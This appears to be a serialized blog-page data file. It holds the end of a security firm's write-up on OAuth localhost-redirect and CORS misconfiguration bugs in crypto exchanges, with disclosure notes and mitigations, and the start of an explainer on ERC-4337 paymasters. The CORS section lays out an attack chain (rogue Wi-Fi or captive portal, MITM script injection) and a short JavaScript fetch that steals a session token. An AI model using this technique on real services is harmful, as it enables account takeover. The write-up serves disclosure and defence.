}\n",{"type":21,"tag":198,"props":101808,"children":101809},{"class":200,"line":24663},[101810],{"type":21,"tag":198,"props":101811,"children":101812},{"style":205},[101813],{"type":27,"value":7578},{"type":21,"tag":198,"props":101815,"children":101816},{"class":200,"line":24717},[101817],{"type":21,"tag":198,"props":101818,"children":101819},{"emptyLinePlaceholder":16},[101820],{"type":27,"value":1283},{"type":21,"tag":198,"props":101822,"children":101823},{"class":200,"line":24726},[101824],{"type":21,"tag":198,"props":101825,"children":101826},{"style":205},[101827],{"type":27,"value":101828}," google.accounts.id.prompt();\n",{"type":21,"tag":198,"props":101830,"children":101831},{"class":200,"line":33067},[101832],{"type":21,"tag":198,"props":101833,"children":101834},{"style":205},[101835],{"type":27,"value":39755},{"type":21,"tag":198,"props":101837,"children":101838},{"class":200,"line":33088},[101839,101844,101848,101853],{"type":21,"tag":198,"props":101840,"children":101841},{"style":205},[101842],{"type":27,"value":101843}," \"\"\"",{"type":21,"tag":198,"props":101845,"children":101846},{"style":211},[101847],{"type":27,"value":658},{"type":21,"tag":198,"props":101849,"children":101850},{"style":698},[101851],{"type":27,"value":101852},"trimIndent",{"type":21,"tag":198,"props":101854,"children":101855},{"style":211},[101856],{"type":27,"value":1837},{"type":21,"tag":198,"props":101858,"children":101859},{"class":200,"line":81333},[101860],{"type":21,"tag":198,"props":101861,"children":101862},{"style":211},[101863],{"type":27,"value":101864}," }\n",{"type":21,"tag":198,"props":101866,"children":101867},{"class":200,"line":81346},[101868],{"type":21,"tag":198,"props":101869,"children":101870},{"style":211},[101871],{"type":27,"value":71428},{"type":21,"tag":198,"props":101873,"children":101874},{"class":200,"line":81354},[101875],{"type":21,"tag":198,"props":101876,"children":101877},{"style":211},[101878],{"type":27,"value":71358},{"type":21,"tag":198,"props":101880,"children":101881},{"class":200,"line":81362},[101882,101886],{"type":21,"tag":198,"props":101883,"children":101884},{"style":698},[101885],{"type":27,"value":71366},{"type":21,"tag":198,"props":101887,"children":101888},{"style":211},[101889],{"type":27,"value":233},{"type":21,"tag":198,"props":101891,"children":101892},{"class":200,"line":81370},[101893,101897,101901,101905,101910],{"type":21,"tag":198,"props":101894,"children":101895},{"style":698},[101896],{"type":27,"value":71378},{"type":21,"tag":198,"props":101898,"children":101899},{"style":211},[101900],{"type":27,"value":1891},{"type":21,"tag":198,"props":101902,"children":101903},{"style":683},[101904],{"type":27,"value":5193},{"type":21,"tag":198,"props":101906,"children":101907},{"style":205},[101908],{"type":27,"value":101909},"\"Login here:\"",{"type":21,"tag":198,"props":101911,"children":101912},{"style":211},[101913],{"type":27,"value":1909},{"type":21,"tag":198,"props":101915,"children":101916},{"class":200,"line":81410},[101917,101922],{"type":21,"tag":198,"props":101918,"children":101919},{"style":698},[101920],{"type":27,"value":101921}," div",{"type":21,"tag":198,"props":101923,"children":101924},{"style":211},[101925],{"type":27,"value":233},{"type":21,"tag":198,"props":101927,"children":101928},{"class":200,"line":81418},[101929,101934,101938],{"type":21,"tag":198,"props":101930,"children":101931},{"style":211},[101932],{"type":27,"value":101933}," id ",{"type":21,"tag":198,"props":101935,"children":101936},{"style":683},[101937],{"type":27,"value":3174},{"type":21,"tag":198,"props":101939,"children":101940},{"style":205},[101941],{"type":27,"value":101942}," \"g_id_signin\"\n",{"type":21,"tag":198,"props":101944,"children":101945},{"class":200,"line":88605},[101946],{"type":21,"tag":198,"props":101947,"children":101948},{"style":211},[101949],{"type":27,"value":71428},{"type":21,"tag":198,"props":101951,"children":101952},{"class":200,"line":88613},[101953],{"type":21,"tag":198,"props":101954,"children":101955},{"style":211},[101956],{"type":27,"value":71358},{"type":21,"tag":198,"props":101958,"children":101960},{"class":200,"line":101959},62,[101961],{"type":21,"tag":198,"props":101962,"children":101963},{"style":211},[101964],{"type":27,"value":71443},{"type":21,"tag":198,"props":101966,"children":101968},{"class":200,"line":101967},63,[101969],{"type":21,"tag":198,"props":101970,"children":101971},{"style":211},[101972],{"type":27,"value":71451},{"type":21,"tag":198,"props":101974,"children":101976},{"class":200,"line":101975},64,[101977],{"type":21,"tag":198,"props":101978,"children":101979},{"style":211},[101980],{"type":27,"value":59262},{"type":21,"tag":198,"props":101982,"children":101984},{"class":200,"line":101983},65,[101985,101989,101993,101997,102001,102005],{"type":21,"tag":198,"props":101986,"children":101987},{"style":211},[101988],{"type":27,"value":71466},{"type":21,"tag":198,"props":101990,"children":101991},{"style":698},[101992],{"type":27,"value":71471},{"type":21,"tag":198,"props":101994,"children":101995},{"style":211},[101996],{"type":27,"value":71476},{"type":21,"tag":198,"props":101998,"children":101999},{"style":683},[102000],{"type":27,"value":3174},{"type":21,"tag":198,"props":102002,"children":102003},{"style":249},[102004],{"type":27,"value":252},{"type":21,"tag":198,"props":102006,"children":102007},{"style":211},[102008],{"type":27,"value":789},{"type":21,"tag":198,"props":102010,"children":102012},{"class":200,"line":102011},66,[102013],{"type":21,"tag":198,"props":102014,"children":102015},{"style":211},[102016],{"type":27,"value":880},{"type":21,"tag":30,"props":102018,"children":102019},{},[102020],{"type":27,"value":102021},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":21,"tag":30,"props":102023,"children":102024},{},[102025],{"type":27,"value":102026},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":21,"tag":59,"props":102028,"children":102030},{"id":102029},"how-to-mitigate",[102031],{"type":27,"value":102032},"How to Mitigate",{"type":21,"tag":30,"props":102034,"children":102035},{},[102036],{"type":27,"value":102037},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":21,"tag":22,"props":102039,"children":102041},{"id":102040},"exploiting-cors",[102042],{"type":27,"value":102043},"Exploiting CORS",{"type":21,"tag":30,"props":102045,"children":102046},{},[102047],{"type":27,"value":102048},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":21,"tag":30,"props":102050,"children":102051},{},[102052,102054,102060],{"type":27,"value":102053},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":21,"tag":194,"props":102055,"children":102057},{"className":102056},[],[102058],{"type":27,"value":102059},"http://",{"type":27,"value":102061}," schema for any subdomain:",{"type":21,"tag":187,"props":102063,"children":102067},{"className":102064,"code":102065,"language":102066,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[102068],{"type":21,"tag":194,"props":102069,"children":102070},{"__ignoreMap":7},[102071,102079,102087,102095],{"type":21,"tag":198,"props":102072,"children":102073},{"class":200,"line":201},[102074],{"type":21,"tag":198,"props":102075,"children":102076},{},[102077],{"type":27,"value":102078},"HTTP 200 OK\n",{"type":21,"tag":198,"props":102080,"children":102081},{"class":200,"line":217},[102082],{"type":21,"tag":198,"props":102083,"children":102084},{},[102085],{"type":27,"value":102086},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":21,"tag":198,"props":102088,"children":102089},{"class":200,"line":236},[102090],{"type":21,"tag":198,"props":102091,"children":102092},{},[102093],{"type":27,"value":102094},"Access-Control-Allow-Credentials: true\n",{"type":21,"tag":198,"props":102096,"children":102097},{"class":200,"line":260},[102098],{"type":21,"tag":198,"props":102099,"children":102100},{},[102101],{"type":27,"value":11127},{"type":21,"tag":59,"props":102103,"children":102105},{"id":102104},"cors-misconfiguration-by-lack-of-tls",[102106],{"type":27,"value":102107},"CORS Misconfiguration by Lack of TLS",{"type":21,"tag":30,"props":102109,"children":102110},{},[102111,102113,102119],{"type":27,"value":102112},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":21,"tag":194,"props":102114,"children":102116},{"className":102115},[],[102117],{"type":27,"value":102118},"exchange.com",{"type":27,"value":102120}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":21,"tag":30,"props":102122,"children":102123},{},[102124],{"type":27,"value":102125},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":21,"tag":138,"props":102127,"children":102128},{},[102129,102149],{"type":21,"tag":75,"props":102130,"children":102131},{},[102132,102134,102139,102141,102147],{"type":27,"value":102133},"Chrome --> won't work because cookies are not sent in ",{"type":21,"tag":194,"props":102135,"children":102137},{"className":102136},[],[102138],{"type":27,"value":102059},{"type":27,"value":102140}," --> ",{"type":21,"tag":194,"props":102142,"children":102144},{"className":102143},[],[102145],{"type":27,"value":102146},"https://",{"type":27,"value":102148}," requests, even if same-site",{"type":21,"tag":75,"props":102150,"children":102151},{},[102152,102154],{"type":27,"value":102153},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":21,"tag":194,"props":102155,"children":102157},{"className":102156},[],[102158],{"type":27,"value":38526},{"type":21,"tag":59,"props":102160,"children":102162},{"id":102161},"exploit-1",[102163],{"type":27,"value":100493},{"type":21,"tag":30,"props":102165,"children":102166},{},[102167],{"type":27,"value":102168},"To exploit it, we must follow some steps:",{"type":21,"tag":71,"props":102170,"children":102171},{},[102172,102177,102182],{"type":21,"tag":75,"props":102173,"children":102174},{},[102175],{"type":27,"value":102176},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":21,"tag":75,"props":102178,"children":102179},{},[102180],{"type":27,"value":102181},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":21,"tag":75,"props":102183,"children":102184},{},[102185,102187,102192],{"type":27,"value":102186},"Use ",{"type":21,"tag":194,"props":102188,"children":102190},{"className":102189},[],[102191],{"type":27,"value":38526},{"type":27,"value":102193}," with CORS to do something malicious using the victim's account",{"type":21,"tag":30,"props":102195,"children":102196},{},[102197],{"type":27,"value":102198},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":21,"tag":30,"props":102200,"children":102201},{},[102202,102204,102209],{"type":27,"value":102203},"Once the redirect to the ",{"type":21,"tag":194,"props":102205,"children":102207},{"className":102206},[],[102208],{"type":27,"value":102059},{"type":27,"value":102210}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":21,"tag":187,"props":102212,"children":102214},{"className":189,"code":102213,"language":191,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[102215],{"type":21,"tag":194,"props":102216,"children":102217},{"__ignoreMap":7},[102218,102241,102278,102295,102312,102319,102360],{"type":21,"tag":198,"props":102219,"children":102220},{"class":200,"line":201},[102221,102225,102229,102233,102237],{"type":21,"tag":198,"props":102222,"children":102223},{"style":211},[102224],{"type":27,"value":706},{"type":21,"tag":198,"props":102226,"children":102227},{"style":249},[102228],{"type":27,"value":36919},{"type":21,"tag":198,"props":102230,"children":102231},{"style":211},[102232],{"type":27,"value":40452},{"type":21,"tag":198,"props":102234,"children":102235},{"style":249},[102236],{"type":27,"value":15626},{"type":21,"tag":198,"props":102238,"children":102239},{"style":211},[102240],{"type":27,"value":233},{"type":21,"tag":198,"props":102242,"children":102243},{"class":200,"line":217},[102244,102248,102253,102257,102261,102265,102269,102274],{"type":21,"tag":198,"props":102245,"children":102246},{"style":249},[102247],{"type":27,"value":1023},{"type":21,"tag":198,"props":102249,"children":102250},{"style":226},[102251],{"type":27,"value":102252}," res",{"type":21,"tag":198,"props":102254,"children":102255},{"style":683},[102256],{"type":27,"value":979},{"type":21,"tag":198,"props":102258,"children":102259},{"style":640},[102260],{"type":27,"value":36983},{"type":21,"tag":198,"props":102262,"children":102263},{"style":698},[102264],{"type":27,"value":33708},{"type":21,"tag":198,"props":102266,"children":102267},{"style":211},[102268],{"type":27,"value":706},{"type":21,"tag":198,"props":102270,"children":102271},{"style":205},[102272],{"type":27,"value":102273},"'https://www.exchange.com/api/session_token'",{"type":21,"tag":198,"props":102275,"children":102276},{"style":211},[102277],{"type":27,"value":1983},{"type":21,"tag":198,"props":102279,"children":102280},{"class":200,"line":236},[102281,102286,102291],{"type":21,"tag":198,"props":102282,"children":102283},{"style":226},[102284],{"type":27,"value":102285}," credentials:",{"type":21,"tag":198,"props":102287,"children":102288},{"style":205},[102289],{"type":27,"value":102290}," 'include'",{"type":21,"tag":198,"props":102292,"children":102293},{"style":211},[102294],{"type":27,"value":257},{"type":21,"tag":198,"props":102296,"children":102297},{"class":200,"line":260},[102298,102303,102308],{"type":21,"tag":198,"props":102299,"children":102300},{"style":226},[102301],{"type":27,"value":102302}," method:",{"type":21,"tag":198,"props":102304,"children":102305},{"style":205},[102306],{"type":27,"value":102307}," 'POST'",{"type":21,"tag":198,"props":102309,"children":102310},{"style":211},[102311],{"type":27,"value":257},{"type":21,"tag":198,"props":102313,"children":102314},{"class":200,"line":281},[102315],{"type":21,"tag":198,"props":102316,"children":102317},{"style":211},[102318],{"type":27,"value":98576},{"type":21,"tag":198,"props":102320,"children":102321},{"class":200,"line":302},[102322,102327,102331,102336,102340,102344,102348,102352,102356],{"type":21,"tag":198,"props":102323,"children":102324},{"style":226},[102325],{"type":27,"value":102326}," console",{"type":21,"tag":198,"props":102328,"children":102329},{"style":211},[102330],{"type":27,"value":658},{"type":21,"tag":198,"props":102332,"children":102333},{"style":698},[102334],{"type":27,"value":102335},"log",{"type":21,"tag":198,"props":102337,"children":102338},{"style":211},[102339],{"type":27,"value":706},{"type":21,"tag":198,"props":102341,"children":102342},{"style":640},[102343],{"type":27,"value":33695},{"type":21,"tag":198,"props":102345,"children":102346},{"style":226},[102347],{"type":27,"value":102252},{"type":21,"tag":198,"props":102349,"children":102350},{"style":211},[102351],{"type":27,"value":658},{"type":21,"tag":198,"props":102353,"children":102354},{"style":698},[102355],{"type":27,"value":2119},{"type":21,"tag":198,"props":102357,"children":102358},{"style":211},[102359],{"type":27,"value":16229},{"type":21,"tag":198,"props":102361,"children":102362},{"class":200,"line":323},[102363],{"type":21,"tag":198,"props":102364,"children":102365},{"style":211},[102366],{"type":27,"value":102367},"})();\n",{"type":21,"tag":30,"props":102369,"children":102370},{},[102371],{"type":27,"value":102372},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":21,"tag":59,"props":102374,"children":102375},{"id":41088},[102376],{"type":27,"value":41091},{"type":21,"tag":30,"props":102378,"children":102379},{},[102380,102382,102387],{"type":27,"value":102381},"As mitigation, it is recommended to remove all ",{"type":21,"tag":194,"props":102383,"children":102385},{"className":102384},[],[102386],{"type":27,"value":102059},{"type":27,"value":102388}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":21,"tag":30,"props":102390,"children":102391},{},[102392],{"type":27,"value":102393},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":21,"tag":22,"props":102395,"children":102396},{"id":3586},[102397],{"type":27,"value":3589},{"type":21,"tag":30,"props":102399,"children":102400},{},[102401],{"type":27,"value":102402},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":21,"tag":30,"props":102404,"children":102405},{},[102406],{"type":27,"value":102407},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":21,"tag":3645,"props":102409,"children":102410},{},[102411],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":102413},[102414,102419,102424],{"id":100098,"depth":217,"text":100101,"children":102415},[102416,102417,102418],{"id":100109,"depth":236,"text":100112},{"id":100466,"depth":236,"text":100469},{"id":102029,"depth":236,"text":102032},{"id":102040,"depth":217,"text":102043,"children":102420},[102421,102422,102423],{"id":102104,"depth":236,"text":102107},{"id":102161,"depth":236,"text":100493},{"id":41088,"depth":236,"text":41091},{"id":3586,"depth":217,"text":3589},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":102429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102430,"description":102431,"date":102432,"author":102433,"image":102434,"isFeatured":16,"onBlogPage":16,"tags":102436,"body":102439,"_type":3671,"_id":108211,"_source":3673,"_file":108212,"_stem":108213,"_extension":3676},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":102435,"width":97650,"height":14430},"/posts/paymasters-evm/title.png",[102437,102438],"evm","ERC-4337",{"type":18,"children":102440,"toc":108190},[102441,102445,102456,102461,102466,102471,102477,102483,102488,102493,102499,102504,102532,102538,102543,102550,102555,102565,102570,102596,102602,102622,102628,102648,102656,102687,102720,102729,102741,102766,102778,102791,102834,102840,102873,102972,102991,103014,103019,103025,103053,103200,103205,103232,103238,103250,103262,103271,103306,103311,104796,104824,104845,104850,104862,104871,104876,104894,104917,104922,104928,104982,104988,105021,105056,105880,105916,105952,106018,106051,106549,106602,106614,107178,107247,107274,107896,107938,107965,107977,108038,108057,108091,108096,108101,108106,108110,108115,108150,108176,108181,108186],{"type":21,"tag":36146,"props":102442,"children":102443},{"id":61},[102444],{"type":27,"value":64},{"type":21,"tag":30,"props":102446,"children":102447},{},[102448,102454],{"type":21,"tag":34,"props":102449,"children":102452},{"href":102450,"rel":102451},"https://docs.erc4337.io/",[38],[102453],{"type":27,"value":102438},{"type":27,"value":102455}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":21,"tag":30,"props":102457,"children":102458},{},[102459],{"type":27,"value":102460},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":21,"tag":30,"props":102462,"children":102463},{},[102464],{"type":27,"value":102465},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":21,"tag":30,"props":102467,"children":102468},{},[102469],{"type":27,"value":102470},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":21,"tag":36146,"props":102472,"children":102474},{"id":102473},"erc4337-overview",[102475],{"type":27,"value":102476},"ERC4337 Overview",{"type":21,"tag":22,"props":102478,"children":102480},{"id":102479},"traditional-eoas-vs-smart-contract-wallets",[102481],{"type":27,"value":102482},"Traditional EOAs vs Smart Contract Wallets",{"type":21,"tag":30,"props":102484,"children":102485},{},[102486],{"type":27,"value":102487},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":21,"tag":30,"props":102489,"children":102490},{},[102491],{"type":27,"value":102492},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":21,"tag":22,"props":102494,"children":102496},{"id":102495},"why-erc4337-was-introduced",[102497],{"type":27,"value":102498},"Why ERC‑4337 Was Introduced",{"type":21,"tag":30,"props":102500,"children":102501},{},[102502],{"type":27,"value":102503},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":21,"tag":138,"props":102505,"children":102506},{},[102507,102512,102517,102522,102527],{"type":21,"tag":75,"props":102508,"children":102509},{},[102510],{"type":27,"value":102511},"User recovery for lost keys (e.g. social recovery)",{"type":21,"tag":75,"props":102513,"children":102514},{},[102515],{"type":27,"value":102516},"Batched or atomic multi-step operations in one flow",{"type":21,"tag":75,"props":102518,"children":102519},{},[102520],{"type":27,"value":102521},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":21,"tag":75,"props":102523,"children":102524},{},[102525],{"type":27,"value":102526},"Using custom signature schemes or multisig logic",{"type":21,"tag":75,"props":102528,"children":102529},{},[102530],{"type":27,"value":102531},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":21,"tag":22,"props":102533,"children":102535},{"id":102534},"how-erc-4337-works",[102536],{"type":27,"value":102537},"How ERC-4337 Works",{"type":21,"tag":30,"props":102539,"children":102540},{},[102541],{"type":27,"value":102542},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":21,"tag":30,"props":102544,"children":102545},{},[102546],{"type":21,"tag":1376,"props":102547,"children":102549},{"alt":50954,"src":102548},"/posts/paymasters-evm/flowchart.png",[],{"type":21,"tag":30,"props":102551,"children":102552},{},[102553],{"type":27,"value":102554},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":21,"tag":59,"props":102556,"children":102558},{"id":102557},"useroperation",[102559],{"type":21,"tag":194,"props":102560,"children":102562},{"className":102561},[],[102563],{"type":27,"value":102564},"UserOperation",{"type":21,"tag":30,"props":102566,"children":102567},{},[102568],{"type":27,"value":102569},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":21,"tag":138,"props":102571,"children":102572},{},[102573,102578,102583],{"type":21,"tag":75,"props":102574,"children":102575},{},[102576],{"type":27,"value":102577},"Target contract call(s)",{"type":21,"tag":75,"props":102579,"children":102580},{},[102581],{"type":27,"value":102582},"Signature or validation metadata",{"type":21,"tag":75,"props":102584,"children":102585},{},[102586,102588,102594],{"type":27,"value":102587},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":21,"tag":194,"props":102589,"children":102591},{"className":102590},[],[102592],{"type":27,"value":102593},"UserOperations",{"type":27,"value":102595}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":21,"tag":59,"props":102597,"children":102599},{"id":102598},"smart-contract-account",[102600],{"type":27,"value":102601},"Smart Contract Account",{"type":21,"tag":30,"props":102603,"children":102604},{},[102605,102607,102613,102614,102620],{"type":27,"value":102606},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":21,"tag":194,"props":102608,"children":102610},{"className":102609},[],[102611],{"type":27,"value":102612},"validateUserOp()",{"type":27,"value":11801},{"type":21,"tag":194,"props":102615,"children":102617},{"className":102616},[],[102618],{"type":27,"value":102619},"executeUserOp()",{"type":27,"value":102621},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":21,"tag":59,"props":102623,"children":102625},{"id":102624},"bundler",[102626],{"type":27,"value":102627},"Bundler",{"type":21,"tag":30,"props":102629,"children":102630},{},[102631,102633,102638,102640,102646],{"type":27,"value":102632},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":21,"tag":194,"props":102634,"children":102636},{"className":102635},[],[102637],{"type":27,"value":102593},{"type":27,"value":102639},", packages them, and submits them in a single transaction to the ",{"type":21,"tag":194,"props":102641,"children":102643},{"className":102642},[],[102644],{"type":27,"value":102645},"EntryPoint",{"type":27,"value":102647}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":21,"tag":59,"props":102649,"children":102650},{"id":15528},[102651],{"type":21,"tag":194,"props":102652,"children":102654},{"className":102653},[],[102655],{"type":27,"value":102645},{"type":21,"tag":30,"props":102657,"children":102658},{},[102659,102660,102665,102667,102672,102674,102678,102680,102685],{"type":27,"value":534},{"type":21,"tag":194,"props":102661,"children":102663},{"className":102662},[],[102664],{"type":27,"value":102645},{"type":27,"value":102666}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":21,"tag":194,"props":102668,"children":102670},{"className":102669},[],[102671],{"type":27,"value":102593},{"type":27,"value":102673}," submitted by a ",{"type":21,"tag":6137,"props":102675,"children":102676},{},[102677],{"type":27,"value":102627},{"type":27,"value":102679},", the ",{"type":21,"tag":194,"props":102681,"children":102683},{"className":102682},[],[102684],{"type":27,"value":102645},{"type":27,"value":102686}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":21,"tag":30,"props":102688,"children":102689},{},[102690,102692,102697,102699,102703,102705,102710,102712,102718],{"type":27,"value":102691},"Once all operations have been processed, the ",{"type":21,"tag":194,"props":102693,"children":102695},{"className":102694},[],[102696],{"type":27,"value":102645},{"type":27,"value":102698}," calculates the total gas consumed and reimburses the ",{"type":21,"tag":6137,"props":102700,"children":102701},{},[102702],{"type":27,"value":102627},{"type":27,"value":102704},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":21,"tag":194,"props":102706,"children":102708},{"className":102707},[],[102709],{"type":27,"value":102645},{"type":27,"value":102711}," or from a ",{"type":21,"tag":194,"props":102713,"children":102715},{"className":102714},[],[102716],{"type":27,"value":102717},"paymaster",{"type":27,"value":102719}," that has agreed to sponsor the transaction.",{"type":21,"tag":59,"props":102721,"children":102722},{"id":102717},[102723],{"type":21,"tag":194,"props":102724,"children":102726},{"className":102725},[],[102727],{"type":27,"value":102728},"Paymaster",{"type":21,"tag":30,"props":102730,"children":102731},{},[102732,102734,102739],{"type":27,"value":102733},"A ",{"type":21,"tag":194,"props":102735,"children":102737},{"className":102736},[],[102738],{"type":27,"value":102717},{"type":27,"value":102740}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":21,"tag":138,"props":102742,"children":102743},{},[102744,102755],{"type":21,"tag":75,"props":102745,"children":102746},{},[102747,102753],{"type":21,"tag":194,"props":102748,"children":102750},{"className":102749},[],[102751],{"type":27,"value":102752},"validatePaymasterUserOp()",{"type":27,"value":102754}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":21,"tag":75,"props":102756,"children":102757},{},[102758,102764],{"type":21,"tag":194,"props":102759,"children":102761},{"className":102760},[],[102762],{"type":27,"value":102763},"postOp()",{"type":27,"value":102765},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":21,"tag":30,"props":102767,"children":102768},{},[102769,102771,102776],{"type":27,"value":102770},"By supporting both sponsorship and token-based gas payments, ",{"type":21,"tag":194,"props":102772,"children":102774},{"className":102773},[],[102775],{"type":27,"value":102717},{"type":27,"value":102777}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":21,"tag":22,"props":102779,"children":102781},{"id":102780},"understanding-the-entrypoints-flow",[102782,102784,102789],{"type":27,"value":102783},"Understanding the ",{"type":21,"tag":194,"props":102785,"children":102787},{"className":102786},[],[102788],{"type":27,"value":102645},{"type":27,"value":102790},"'s Flow",{"type":21,"tag":30,"props":102792,"children":102793},{},[102794,102796,102801,102802,102807,102809,102820,102822,102827,102828,102833],{"type":27,"value":102795},"When a bundler submits ",{"type":21,"tag":194,"props":102797,"children":102799},{"className":102798},[],[102800],{"type":27,"value":102593},{"type":27,"value":17215},{"type":21,"tag":194,"props":102803,"children":102805},{"className":102804},[],[102806],{"type":27,"value":102645},{"type":27,"value":102808}," contract via ",{"type":21,"tag":34,"props":102810,"children":102813},{"href":102811,"rel":102812},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[38],[102814],{"type":21,"tag":194,"props":102815,"children":102817},{"className":102816},[],[102818],{"type":27,"value":102819},"handleOps()",{"type":27,"value":102821},", the processing occurs in two main phases: ",{"type":21,"tag":6137,"props":102823,"children":102824},{},[102825],{"type":27,"value":102826},"Validation",{"type":27,"value":11801},{"type":21,"tag":6137,"props":102829,"children":102830},{},[102831],{"type":27,"value":102832},"Execution",{"type":27,"value":658},{"type":21,"tag":59,"props":102835,"children":102837},{"id":102836},"validation-phase",[102838],{"type":27,"value":102839},"Validation Phase",{"type":21,"tag":30,"props":102841,"children":102842},{},[102843,102845,102850,102852,102858,102860,102866,102867,102872],{"type":27,"value":102844},"In this phase, the ",{"type":21,"tag":194,"props":102846,"children":102848},{"className":102847},[],[102849],{"type":27,"value":102645},{"type":27,"value":102851}," first validates all operations in the submitted ",{"type":21,"tag":194,"props":102853,"children":102855},{"className":102854},[],[102856],{"type":27,"value":102857},"UserOps",{"type":27,"value":102859}," array before executing any of them. This ensures that only valid operations proceed to execution. For each 